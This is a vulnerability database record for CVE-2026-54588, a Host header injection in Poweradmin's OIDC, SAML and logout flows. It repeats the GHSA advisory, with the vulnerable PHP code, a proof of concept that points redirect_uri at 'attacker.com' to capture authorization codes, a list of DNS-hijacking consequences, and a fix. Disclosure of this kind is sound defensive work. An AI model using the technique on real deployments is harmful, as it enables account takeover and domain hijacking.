{"id":"CVE-2026-54588","aliases":["EUVD-2026-38633","GHSA-3735-5339-xfwx"],"status":"published","title":"Poweradmin has Host Header Injection in OIDC redirect_uri, SAML ACS/SLO URL, and Logout Redirect Construction.","description":"Poweradmin is a web-based DNS administration tool for PowerDNS server. Versions prior to 4.2.4 and 4.3.3 use the attacker-controlled `HTTP_HOST` request header as the authoritative source for building callback URLs in its OIDC, SAML, and logout authentication flows without any validation. An unauthenticated attacker can poison the `redirect_uri` sent to the Identity Provider, causing the IdP to redirect the victim's authorization code to an attacker-controlled server - resulting in full account takeover with no credentials required. Versions 4.2.4 and 4.3.3 patch the issue.","severity":{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00543,"percentile":0.46058,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-20","CWE-601"],"published":"2026-06-23T22:09:27Z","modified":"2026-10-28T02:30:47Z","fixes":[{"ecosystem":"Packagist","package":"poweradmin/poweradmin","fixed_in":["4.2.4","4.3.3"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"poweradmin/poweradmin","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.2.4"}]}]},{"source":"ghsa","ecosystem":"Packagist","package":"poweradmin/poweradmin","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.3.0"},{"fixed":"4.3.3"}]}]},{"source":"osv","ecosystem":"Packagist","package":"poweradmin/poweradmin","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.2.4"}]}],"versions":["v2.1.8","v2.1.9","v2.2.0","v2.2.1","v2.2.2","v3.0.0","v3.1.0","v3.2.0","v3.3.0","v3.4.0","v3.4.1","v3.4.2","v3.5.0","v3.5.1","v3.6.0","v3.6.1","v3.7.0","v3.7.0-alpha.1","v3.8.0","v3.8.1","v3.9.0","v3.9.1","v3.9.10","v3.9.11","v3.9.12","v3.9.2","v3.9.3","v3.9.4","v3.9.5","v3.9.6","v3.9.7","v3.9.8","v3.9.9","v4.0.0","v4.0.1","v4.0.10","v4.0.11","v4.0.2","v4.0.3","v4.0.4","v4.0.5","v4.0.6","v4.0.7","v4.0.9","v4.1.0","v4.1.1","v4.1.2","v4.1.3","v4.1.4","v4.2.0","v4.2.1","v4.2.2","v4.2.3"]},{"source":"osv","ecosystem":"Packagist","package":"poweradmin/poweradmin","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.3.0"},{"fixed":"4.3.3"}]}],"versions":["v4.3.0","v4.3.1","v4.3.2"]}],"products":[{"vendor":"poweradmin","product":"poweradmin"}],"references":[{"url":"https://github.com/poweradmin/poweradmin/security/advisories/GHSA-3735-5339-xfwx","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/poweradmin/poweradmin/releases/tag/v4.2.4","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/poweradmin/poweradmin/releases/tag/v4.3.3","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54588","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-3735-5339-xfwx"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/54xxx/CVE-2026-54588.json","tags":["advisory"]},{"url":"https://github.com/poweradmin/poweradmin","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-54588","title":"Poweradmin has Host Header Injection in OIDC redirect_uri, SAML ACS/SLO URL, and Logout Redirect Construction.","description":"Poweradmin is a web-based DNS administration tool for PowerDNS server. Versions prior to 4.2.4 and 4.3.3 use the attacker-controlled `HTTP_HOST` request header as the authoritative source for building callback URLs in its OIDC, SAML, and logout authentication flows without any validation. An unauthenticated attacker can poison the `redirect_uri` sent to the Identity Provider, causing the IdP to redirect the victim's authorization code to an attacker-controlled server - resulting in full account takeover with no credentials required. Versions 4.2.4 and 4.3.3 patch the issue.","status":"published","published":"2026-06-23T22:09:27.268Z","modified":"2026-06-24T12:20:59.442Z","cvss":[{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L","level":"critical","assessor":"cna"}],"cwes":["CWE-20","CWE-601"],"updated_at":"2026-11-02T13:38:09.774038Z"}],"euvd":[{"id":"EUVD-2026-38633","description":"Poweradmin is a web-based DNS administration tool for PowerDNS server. Versions prior to 4.2.4 and 4.3.3 use the attacker-controlled `HTTP_HOST` request header as the authoritative source for building callback URLs in its OIDC, SAML, and logout authentication flows without any validation. An unauthenticated attacker can poison the `redirect_uri` sent to the Identity Provider, causing the IdP to redirect the victim's authorization code to an attacker-controlled server - resulting in full account takeover with no credentials required. Versions 4.2.4 and 4.3.3 patch the issue.","status":"published","published":"2026-06-23T22:09:27Z","modified":"2026-06-24T12:20:59Z","cvss":[{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L","level":"critical"}],"updated_at":"2026-11-02T18:20:31.123469Z"}],"ghsa":[{"id":"GHSA-3735-5339-xfwx","title":"Poweradmin has Host Header Injection in OIDC redirect_uri, SAML ACS/SLO URL, and Logout Redirect Construction.","description":"### Summary\nPoweradmin v4.3.2 uses the attacker-controlled `HTTP_HOST` request header as the\n  authoritative source for building callback URLs in its OIDC, SAML, and logout\n  authentication flows without any validation. An unauthenticated attacker can poison\n  the `redirect_uri` sent to the Identity Provider, causing the IdP to redirect the\n  victim's authorization code to an attacker-controlled server - resulting in full\n  account takeover with no credentials required.\n\n  Three independent code paths are affected:\n\n  - **Primary (Critical):** `OidcService::getCallbackUrl()` - `redirect_uri` poisoning\n  - **Secondary (High):** `SamlConfigurationService::getBaseUrl()` - SAML ACS/SLO URL poisoning\n  - **Tertiary (Medium):** `LogoutController::getBaseUrl()` - post-logout redirect poisoning\n\n### Details\n\n***Root Cause***\n\n  The application constructs absolute URLs dynamically from `HTTP_HOST` rather than\n  from a trusted configured base URL. The header is fully client-controlled and is not\n  validated before use in any authentication flow.\n\n  Poweradmin's own codebase contains the correct pattern -\n  `DocsController::getValidatedHost()` (line 244) calls `isValidHostname()` before\n  using the value - but this was never applied to authentication flows.\n\n  ### Primary: `lib/Application/Service/OidcService.php` (~line 460)\n\n  ```php\n  private function getCallbackUrl(): string\n  {\n      $scheme = $this-\u003edetectScheme();\n      // HTTP_HOST taken directly with zero validation\n      $host = $this-\u003erequest-\u003egetServerParam('HTTP_HOST', 'localhost');\n      $basePrefix = $this-\u003econfigManager-\u003eget('interface', 'base_url_prefix', '');\n      return $scheme . '://' . $host . $basePrefix . '/oidc/callback';\n  }\n\n  HTTP_HOST is embedded verbatim as redirect_uri in the OAuth 2.0 authorization\n  request sent to the IdP. HTTP_X_FORWARDED_PROTO is similarly used unvalidated\n  for scheme detection.\n\n  Secondary: lib/Application/Service/SamlConfigurationService.php (~line 134)\n\n  private function getBaseUrl(): string\n  {\n      $configuredBaseUrl = $this-\u003econfigManager-\u003eget('interface', 'base_url', '');\n      if (!empty($configuredBaseUrl)) {\n          return rtrim($configuredBaseUrl, '/');  // safe path - rarely configured\n      }\n      // Falls through on every default installation\n      $host = $_SERVER['HTTP_HOST'] ?? 'localhost';\n      ...\n      return $scheme . '://' . $host . $prefix;\n  }\n\n  Used to construct SAML ACS URL, SLO URL, and entity ID - all poisonable via Host header.\n  The safe fallback only activates when interface.base_url is explicitly set, which is\n  optional and empty by default.\n\n  Tertiary: lib/Application/Controller/LogoutController.php (~line 272)\n\n  Same $_SERVER['HTTP_HOST'] pattern used for post-logout redirect URL construction.\n\n### PoC\nEnvironment: Poweradmin v4.3.2, Docker, PHP 8.2, OIDC enabled, interface.base_url empty (default).\n\n  docker exec poweradmin-container php -r \"\n  require '/app/vendor/autoload.php';\n  putenv('PA_CONFIG_PATH=/app/config/settings.php');\n\n  use PowerAdmin\\Application\\Service\\OidcService;\n  use PowerAdmin\\Infrastructure\\Configuration\\ConfigurationManager;\n  use PowerAdmin\\Infrastructure\\Web\\Request;\n\n  \\$_SERVER['HTTP_HOST'] = 'attacker.com';\n  \\$_SERVER['HTTPS']     = '';\n\n  \\$config      = ConfigurationManager::getInstance();\n  \\$request     = new Request();\n  \\$oidcService = new OidcService(\\$config, \\$request);\n  \\$authUrl     = \\$oidcService-\u003einitiateAuthFlow('test');\n\n  parse_str(parse_url(\\$authUrl, PHP_URL_QUERY), \\$p);\n  echo 'redirect_uri: ' . urldecode(\\$p['redirect_uri']) . PHP_EOL;\n\n  if (str_contains(\\$p['redirect_uri'], 'attacker.com')) {\n      echo '[CONFIRMED] Host header injection successful' . PHP_EOL;\n  }\n  \"\n\n  Output:\n\n  redirect_uri: http://attacker.com/oidc/callback\n\n  [CONFIRMED] Host header injection successful - redirect_uri contains attacker.com\n\n  The redirect_uri in the authorization request sent to the Identity Provider is\n  http://attacker.com/oidc/callback. The victim's authorization code will be\n  delivered to this URL upon successful authentication.\n\n  Note on PKCE: PKCE does not mitigate this attack. The attacker initiates the\n  flow themselves and controls both code_challenge and code_verifier.\n\n### Impact\nDirect Impact\n\n  An attacker who can send a request with a spoofed Host header - directly or via a\n  misconfigured reverse proxy (proxy_set_header Host $http_host is the nginx default) -\n  can steal any user's authorization code and gain full authenticated access to Poweradmin.\n  No credentials, malware, or prior access required.\n\n  DNS Infrastructure Impact\n\n  Poweradmin manages PowerDNS. A compromised administrator account grants full DNS zone\n  control, enabling:\n\n  - MX hijacking - redirect all inbound email to attacker's mail server; intercept\n  password reset emails and 2FA codes for any third-party service registered with the domain\n  - SPF/DKIM manipulation - add attacker's IP to SPF, publish attacker's DKIM key →\n  send cryptographically authenticated email as the organization (passes DMARC)\n  - Subdomain takeover - point mail., vpn., app. to attacker infrastructure\n  - SSL certificate theft - remove CAA records and complete ACME DNS-01 challenge\n  to obtain wildcard certificate *.company.com from any CA\n  - Full domain delegation - delegate subdomains to attacker nameserver\n\n  CVSS v3.1\n\n  ┌──────────────────────────────────┬─────────────────────────────────────┬──────────────┐\n  │             Scenario             │               Vector                │    Score     │\n  ├──────────────────────────────────┼─────────────────────────────────────┼──────────────┤\n  │ Standard deployment              │ AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L │ 8.2 High     │\n  ├──────────────────────────────────┼─────────────────────────────────────┼──────────────┤\n  │ Proxy misconfigured ($http_host) │ AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L │ 9.3 Critical │\n  └──────────────────────────────────┴─────────────────────────────────────┴──────────────┘\n\n  Recommended Fix\n\n  Immediate mitigation: Set interface.base_url in config/settings.php -\n  activates the safe branch in SamlConfigurationService immediately.\n\n  Code fix for OidcService: Prefer the configured base URL; if absent, validate\n  HTTP_HOST via filter_var($hostname, FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME)\n  before use - the same pattern already implemented in DocsController::getValidatedHost().","status":"published","published":"2026-07-28T16:40:05Z","modified":"2026-07-28T16:40:05Z","cvss":[{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L","level":"critical"}],"cwes":["CWE-601"],"updated_at":"2026-11-02T14:40:53.707378Z"}],"nvd":[{"id":"CVE-2026-54588","description":"Poweradmin is a web-based DNS administration tool for PowerDNS server. Versions prior to 4.2.4 and 4.3.3 use the attacker-controlled `HTTP_HOST` request header as the authoritative source for building callback URLs in its OIDC, SAML, and logout authentication flows without any validation. An unauthenticated attacker can poison the `redirect_uri` sent to the Identity Provider, causing the IdP to redirect the victim's authorization code to an attacker-controlled server - resulting in full account takeover with no credentials required. Versions 4.2.4 and 4.3.3 patch the issue.","status":"published","published":"2026-06-23T23:16:49.863Z","modified":"2026-06-25T20:18:11.603Z","cvss":[{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L","level":"critical","assessor":"secondary"}],"cwes":["CWE-20","CWE-601"],"updated_at":"2026-11-02T14:12:25.288279Z"}],"osv":[{"id":"CVE-2026-54588","title":"Poweradmin has Host Header Injection in OIDC redirect_uri, SAML ACS/SLO URL, and Logout Redirect Construction.","description":"Poweradmin is a web-based DNS administration tool for PowerDNS server. Versions prior to 4.2.4 and 4.3.3 use the attacker-controlled `HTTP_HOST` request header as the authoritative source for building callback URLs in its OIDC, SAML, and logout authentication flows without any validation. An unauthenticated attacker can poison the `redirect_uri` sent to the Identity Provider, causing the IdP to redirect the victim's authorization code to an attacker-controlled server - resulting in full account takeover with no credentials required. Versions 4.2.4 and 4.3.3 patch the issue.","status":"published","published":"2026-06-23T22:09:27.268Z","modified":"2026-10-28T02:30:47.979438772Z","cvss":[{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L","level":"critical"}],"cwes":["CWE-20","CWE-601"],"updated_at":"2026-11-02T15:45:10.818486Z"},{"id":"GHSA-3735-5339-xfwx","title":"Poweradmin has Host Header Injection in OIDC redirect_uri, SAML ACS/SLO URL, and Logout Redirect Construction.","description":"### Summary\nPoweradmin v4.3.2 uses the attacker-controlled `HTTP_HOST` request header as the\n  authoritative source for building callback URLs in its OIDC, SAML, and logout\n  authentication flows without any validation. An unauthenticated attacker can poison\n  the `redirect_uri` sent to the Identity Provider, causing the IdP to redirect the\n  victim's authorization code to an attacker-controlled server - resulting in full\n  account takeover with no credentials required.\n\n  Three independent code paths are affected:\n\n  - **Primary (Critical):** `OidcService::getCallbackUrl()` - `redirect_uri` poisoning\n  - **Secondary (High):** `SamlConfigurationService::getBaseUrl()` - SAML ACS/SLO URL poisoning\n  - **Tertiary (Medium):** `LogoutController::getBaseUrl()` - post-logout redirect poisoning\n\n### Details\n\n***Root Cause***\n\n  The application constructs absolute URLs dynamically from `HTTP_HOST` rather than\n  from a trusted configured base URL. The header is fully client-controlled and is not\n  validated before use in any authentication flow.\n\n  Poweradmin's own codebase contains the correct pattern -\n  `DocsController::getValidatedHost()` (line 244) calls `isValidHostname()` before\n  using the value - but this was never applied to authentication flows.\n\n  ### Primary: `lib/Application/Service/OidcService.php` (~line 460)\n\n  ```php\n  private function getCallbackUrl(): string\n  {\n      $scheme = $this-\u003edetectScheme();\n      // HTTP_HOST taken directly with zero validation\n      $host = $this-\u003erequest-\u003egetServerParam('HTTP_HOST', 'localhost');\n      $basePrefix = $this-\u003econfigManager-\u003eget('interface', 'base_url_prefix', '');\n      return $scheme . '://' . $host . $basePrefix . '/oidc/callback';\n  }\n\n  HTTP_HOST is embedded verbatim as redirect_uri in the OAuth 2.0 authorization\n  request sent to the IdP. HTTP_X_FORWARDED_PROTO is similarly used unvalidated\n  for scheme detection.\n\n  Secondary: lib/Application/Service/SamlConfigurationService.php (~line 134)\n\n  private function getBaseUrl(): string\n  {\n      $configuredBaseUrl = $this-\u003econfigManager-\u003eget('interface', 'base_url', '');\n      if (!empty($configuredBaseUrl)) {\n          return rtrim($configuredBaseUrl, '/');  // safe path - rarely configured\n      }\n      // Falls through on every default installation\n      $host = $_SERVER['HTTP_HOST'] ?? 'localhost';\n      ...\n      return $scheme . '://' . $host . $prefix;\n  }\n\n  Used to construct SAML ACS URL, SLO URL, and entity ID - all poisonable via Host header.\n  The safe fallback only activates when interface.base_url is explicitly set, which is\n  optional and empty by default.\n\n  Tertiary: lib/Application/Controller/LogoutController.php (~line 272)\n\n  Same $_SERVER['HTTP_HOST'] pattern used for post-logout redirect URL construction.\n\n### PoC\nEnvironment: Poweradmin v4.3.2, Docker, PHP 8.2, OIDC enabled, interface.base_url empty (default).\n\n  docker exec poweradmin-container php -r \"\n  require '/app/vendor/autoload.php';\n  putenv('PA_CONFIG_PATH=/app/config/settings.php');\n\n  use PowerAdmin\\Application\\Service\\OidcService;\n  use PowerAdmin\\Infrastructure\\Configuration\\ConfigurationManager;\n  use PowerAdmin\\Infrastructure\\Web\\Request;\n\n  \\$_SERVER['HTTP_HOST'] = 'attacker.com';\n  \\$_SERVER['HTTPS']     = '';\n\n  \\$config      = ConfigurationManager::getInstance();\n  \\$request     = new Request();\n  \\$oidcService = new OidcService(\\$config, \\$request);\n  \\$authUrl     = \\$oidcService-\u003einitiateAuthFlow('test');\n\n  parse_str(parse_url(\\$authUrl, PHP_URL_QUERY), \\$p);\n  echo 'redirect_uri: ' . urldecode(\\$p['redirect_uri']) . PHP_EOL;\n\n  if (str_contains(\\$p['redirect_uri'], 'attacker.com')) {\n      echo '[CONFIRMED] Host header injection successful' . PHP_EOL;\n  }\n  \"\n\n  Output:\n\n  redirect_uri: http://attacker.com/oidc/callback\n\n  [CONFIRMED] Host header injection successful - redirect_uri contains attacker.com\n\n  The redirect_uri in the authorization request sent to the Identity Provider is\n  http://attacker.com/oidc/callback. The victim's authorization code will be\n  delivered to this URL upon successful authentication.\n\n  Note on PKCE: PKCE does not mitigate this attack. The attacker initiates the\n  flow themselves and controls both code_challenge and code_verifier.\n\n### Impact\nDirect Impact\n\n  An attacker who can send a request with a spoofed Host header - directly or via a\n  misconfigured reverse proxy (proxy_set_header Host $http_host is the nginx default) -\n  can steal any user's authorization code and gain full authenticated access to Poweradmin.\n  No credentials, malware, or prior access required.\n\n  DNS Infrastructure Impact\n\n  Poweradmin manages PowerDNS. A compromised administrator account grants full DNS zone\n  control, enabling:\n\n  - MX hijacking - redirect all inbound email to attacker's mail server; intercept\n  password reset emails and 2FA codes for any third-party service registered with the domain\n  - SPF/DKIM manipulation - add attacker's IP to SPF, publish attacker's DKIM key →\n  send cryptographically authenticated email as the organization (passes DMARC)\n  - Subdomain takeover - point mail., vpn., app. to attacker infrastructure\n  - SSL certificate theft - remove CAA records and complete ACME DNS-01 challenge\n  to obtain wildcard certificate *.company.com from any CA\n  - Full domain delegation - delegate subdomains to attacker nameserver\n\n  CVSS v3.1\n\n  ┌──────────────────────────────────┬─────────────────────────────────────┬──────────────┐\n  │             Scenario             │               Vector                │    Score     │\n  ├──────────────────────────────────┼─────────────────────────────────────┼──────────────┤\n  │ Standard deployment              │ AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L │ 8.2 High     │\n  ├──────────────────────────────────┼─────────────────────────────────────┼──────────────┤\n  │ Proxy misconfigured ($http_host) │ AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L │ 9.3 Critical │\n  └──────────────────────────────────┴─────────────────────────────────────┴──────────────┘\n\n  Recommended Fix\n\n  Immediate mitigation: Set interface.base_url in config/settings.php -\n  activates the safe branch in SamlConfigurationService immediately.\n\n  Code fix for OidcService: Prefer the configured base URL; if absent, validate\n  HTTP_HOST via filter_var($hostname, FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME)\n  before use - the same pattern already implemented in DocsController::getValidatedHost().","status":"published","published":"2026-07-28T16:40:05Z","modified":"2026-09-10T03:50:51.408126394Z","cvss":[{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L","level":"critical"}],"cwes":["CWE-601"],"updated_at":"2026-11-02T15:46:35.406455Z"}]}}
